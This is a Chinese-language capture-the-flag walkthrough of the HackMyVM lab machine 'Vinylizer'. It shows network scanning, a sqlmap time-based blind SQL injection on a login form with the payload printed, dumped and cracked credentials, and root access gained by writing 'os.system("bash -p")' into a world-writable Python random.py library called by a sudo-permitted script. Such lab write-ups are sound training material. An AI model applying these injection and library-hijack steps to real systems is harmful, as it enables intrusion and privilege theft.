HackmyVM-Vinylizer

  • ~8.74K 字
  1. 1. 信息搜集
  2. 2. 80端口
  3. 3. 提权

信息搜集

arp-scan -l

1
2
3
4
5
6
7
┌──(root㉿kali)-[~/Desktop/tmp]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:ff:66:80, IPv4: 192.168.31.129
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.31.1 0a:00:27:00:00:11 (Unknown: locally administered)
192.168.31.2 08:00:27:8d:42:52 PCS Systemtechnik GmbH
192.168.31.156 08:00:27:6d:ec:17 PCS Systemtechnik GmbH

192.168.31.156 就是靶机地址

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿kali)-[~/Desktop/tmp]
└─# nmap 192.168.31.156 -p-
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-23 06:00 EDT
Nmap scan report for 192.168.31.156
Host is up (0.0025s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:6D:EC:17 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 14.73 seconds

80端口

扫描目录只有一个登录的login.php不是弱口令,尝试sql注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
┌──(root㉿kali)-[~/Desktop/tmp]
└─# sqlmap -u "http://192.168.31.156/login.php" --forms
___
__H__
___ ___["]_____ ___ ___ {1.8.11#stable}
|_ -| . [(] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 06:04:37 /2025-04-23/

[06:04:37] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=0om6k37fejc...nqdkc3ihnt'). Do you want to use those [Y/n]

[06:04:38] [INFO] searching for forms
[1/1] Form:
POST http://192.168.31.156/login.php
POST data: username=&password=&login=
do you want to test this form? [Y/n/q]
>

Edit POST data [default: username=&password=&login=] (Warning: blank fields detected):

do you want to fill blank fields with random values? [Y/n]

[06:04:38] [INFO] resuming back-end DBMS 'mysql'
[06:04:38] [INFO] using '/root/.local/share/sqlmap/output/results-04232025_0604am.csv' as the CSV results file in multiple targets mode
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=GcYl' AND (SELECT 7194 FROM (SELECT(SLEEP(5)))aupQ) AND 'jWGR'='jWGR&password=yoAl&login=bpLA
---
do you want to exploit this SQL injection? [Y/n]

[06:04:39] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 22.04 (jammy)
web application technology: Apache 2.4.52
back-end DBMS: MySQL >= 5.0.12
[06:04:39] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/root/.local/share/sqlmap/output/results-04232025_0604am.csv'

[*] ending @ 06:04:39 /2025-04-23/

存在时间盲注,可以注入出来用户和密码

1
2
3
4
5
6
7
8
Table: users
[2 entries]
+----+----------------------------------+-----------+----------------+
| id | password | username | login_attempts |
+----+----------------------------------+-----------+----------------+
| 1 | 9432522ed1a8fca612b11c3980a031f6 | shopadmin | 0 |
| 2 | password123 | lana | 0 |
+----+----------------------------------+-----------+----------------+

shopadmin的密码解密

1
9432522ed1a8fca612b11c3980a031f6:addicted2vinyl

然后ssh登录

提权

sudo -l查看

1
2
3
4
5
6
7
shopadmin@vinylizer:/usr/lib/python3$ sudo -l
Matching Defaults entries for shopadmin on vinylizer:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty

User shopadmin may run the following commands on vinylizer:
(ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/vinylizer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
shopadmin@vinylizer:/usr/lib/python3$ cat /opt/vinylizer.py
# @Name: Vinylizer
# @Author: MrMidnight
# @Version: 1.8

import json
import random

def load_albums(filename):
try:
with open(filename, 'r') as file:
content = file.read()
if not content:
return []
albums = json.loads(content)
except FileNotFoundError:
albums = []
except json.JSONDecodeError:
print(f"Error decoding JSON_Config: {filename}.")
albums = []
return albums


def save_albums(filename, albums):
with open(filename, 'w') as file:
json.dump(albums, file, indent=None)


def print_albums(albums):
if not albums:
print("No albums available.")
else:
print("Available Albums:")
for album in albums:
print(f"- {album['name']}, Sides: {', '.join(album['sides'])}")


def randomize_sides(album):
sides = list(album['sides'])
random.shuffle(sides)
return {"name": album['name'], "sides": sides}


def randomize_vinyl(albums):
if not albums:
print("No albums available. Add one with 'A'.")
return None, None

random_album = random.choice(albums)
random_side = random.choice(random_album['sides'])

return random_album['name'], random_side


def add_vinyl(albums, filename, name, num_sides):
# Generate sides from A to the specified number
sides = [chr(ord('A') + i) for i in range(num_sides)]

# Add new vinyl
new_album = {"name": name, "sides": sides}
albums.append(new_album)
save_albums(filename, albums)
print(f"Album '{name}' with {num_sides} sides added successfully.\n")


def delete_vinyl(albums, filename, name):
for album in albums:
if album['name'] == name:
albums.remove(album)
save_albums(filename, albums)
print(f"Album '{name}' deleted successfully!\n")
return
print(f"Album '{name}' not found.")


def list_all(albums):
print_albums(albums)


if __name__ == "__main__":

# Banner. Dont touch!
print("o 'O o\nO o o O o\no O o\no o
O\nO O' O 'OoOo. O o o O ooOO .oOo. `OoOo.\n`o o o o O o O O o o OooO' o\n `o O O O o O o o O O O O\n `o' o' o O `OoOO Oo o' OooO `OoO' o\nBy: MrMidnight o\n
OoO' \n")

config_file = "config.json"

albums_config = load_albums(config_file)

while True:
choice = input("Do you want to (R)andomly choose a Album, (A)dd a new one, (D)elete an album, (L)ist all albums, or (Q)uit? : ").upper()

if choice == "R":
random_album, random_side = randomize_vinyl(albums_config)
if random_album is not None and random_side is not None:
print(f"Randomly selected album: {random_album}, Random side: {random_side}\n")

elif choice == "A":
name = input("\nEnter the name of the new album: ")

while True:
try:
num_sides = int(input("Enter the number of sides for the new album: "))
break # Break the loop if the input is a integer
except ValueError:
print("\nInvalid input. Please enter a valid integer for the number of sides.")

add_vinyl(albums_config, config_file, name, num_sides)

elif choice == "D":
name = input("\nEnter the name of the album to delete: ")
delete_vinyl(albums_config, config_file, name)

elif choice == "L":
list_all(albums_config)
print("")

elif choice == "Q":
print("\nQuitting Vinylizer.")
break

else:
print("Invalid Input!")

这个python文件没什么可以利用的,查找是否存在库劫持

1
2
find / -writable 2>/dev/null
/usr/lib/python3.10/random.py #可写

添加

1
2
import os
os.system("bash -p")

然后sudo运行

赞助喵
非常感谢您的喜欢!
赞助喵
分享这一刻
让朋友们也来瞅瞅!